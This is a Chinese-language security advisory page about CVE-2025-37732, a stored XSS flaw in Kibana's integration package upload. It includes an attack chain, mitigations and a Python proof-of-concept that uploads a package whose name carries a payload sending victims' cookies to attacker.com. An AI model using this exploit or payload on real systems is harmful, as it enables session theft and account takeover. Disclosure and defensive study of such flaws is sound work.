IPBUF安全漏洞报告
English
CVE-2025-37732 CVSS 5.4 中危

CVE-2025-37732: Kibana Integration Package上传功能跨站脚本(XSS)漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-37732
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Elastic Kibana

相关标签

CVE-2025-37732跨站脚本XSSElastic KibanaCWE-79HTML注入存储型XSS集成包上传权限绕过ESA-2025-28

漏洞概述

CVE-2025-37732是Elastic Kibana中的一个存储型跨站脚本(XSS)漏洞,CVSS评分5.4,中危级别。该漏洞允许经过认证的低权限用户通过integration package上传功能在用户浏览器中注入并执行HTML标签或JavaScript代码。此漏洞是CVE-2025-25018(ESA-2025-17)修复的绕过,攻击者利用原始修复的不完整性,通过精心构造的payload绕过安全检查,实现HTML注入攻击。在Kibana环境中,攻击成功可能导致窃取用户会话cookie、劫持用户账户、执行恶意操作或钓鱼攻击。由于该漏洞影响Kibana的数据可视化和管理界面,攻击者可能获取敏感业务数据和系统权限。建议受影响的用户尽快升级到安全版本并实施额外的输入验证措施。

技术细节

该漏洞存在于Elastic Kibana的integration package上传功能中。攻击者利用CVE-2025-25018修复的不完整性,通过精心构造的payload绕过安全检查。具体来说,攻击者可以在上传integration package时,在包的元数据字段(如name、description等)中注入恶意HTML或JavaScript代码。当其他用户访问包含该integration package的页面时,注入的脚本会在受害者浏览器中执行。由于Kibana的集成包管理功能会展示这些元数据信息,攻击 payload会随着页面加载自动执行。攻击者可以利用此漏洞窃取受害者的认证令牌、session cookies或进行其他恶意操作。漏洞的利用需要攻击者具有Kibana的低权限账户(能够访问integration package上传功能),并需要诱导其他用户访问相关页面以触发payload执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者获取Kibana实例访问权限,确认版本低于安全版本(<8.19.8, <9.1.8, <9.2.2)
STEP 2
步骤2: 身份认证
攻击者使用低权限账户登录Kibana系统,获得有效的session token
STEP 3
步骤3: 构造恶意Payload
攻击者构造XSS payload,如<img src=x onerror="alert(document.cookie)">,尝试绕过CVE-2025-25018的修复
STEP 4
步骤4: 上传恶意Integration Package
通过/api/fleet/epm/packages接口上传包含恶意payload的integration package
STEP 5
步骤5: 诱导用户访问
攻击者诱导其他Kibana用户访问integration package详情页面
STEP 6
步骤6: XSS执行
当受害用户访问页面时,恶意脚本在浏览器中执行,窃取cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-37732 PoC - Kibana XSS via Integration Package Upload # Target: Elastic Kibana < 8.19.8, < 9.1.8, < 9.2.2 TARGET_URL = "http://target-kibana:5601" USERNAME = "attacker_user" PASSWORD = "password" def get_auth_token(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/api/security/v1/login" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) return response.cookies def upload_malicious_package(cookies): """Upload integration package with XSS payload""" upload_url = f"{TARGET_URL}/api/fleet/epm/packages" # XSS payload in package name/description payload = '<img src=x onerror="fetch(`https://attacker.com/steal?c="+document.cookie)">' package_data = { "name": f"malicious-package-{payload}", "version": "1.0.0", "description": f"Package with {payload} injected" } headers = {"kbn-xsrf": "true"} response = requests.post( upload_url, json=package_data, cookies=cookies, headers=headers ) return response.status_code == 200 def main(): print("[*] CVE-2025-37732 PoC - Kibana Integration Package XSS") cookies = get_auth_token() if upload_malicious_package(cookies): print("[+] Malicious package uploaded successfully") print("[*] XSS will trigger when users view integration details") else: print("[-] Failed to upload package") if __name__ == "__main__": main()

影响范围

Elastic Kibana < 8.19.8
Elastic Kibana < 9.1.8
Elastic Kibana < 9.2.2

防御指南

临时缓解措施
在正式补丁发布前,可采取以下临时缓解措施:1) 限制integration package上传功能的访问权限,仅允许经过审批的管理员账户使用;2) 在Kibana前端代理层面添加输入过滤规则,对所有上传内容进行HTML标签过滤;3) 启用Kibana的安全审计日志,实时监控异常的上传和访问行为;4) 对用户进行安全意识培训,警惕来自不可信来源的请求;5) 考虑临时禁用非必要的integration package功能,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表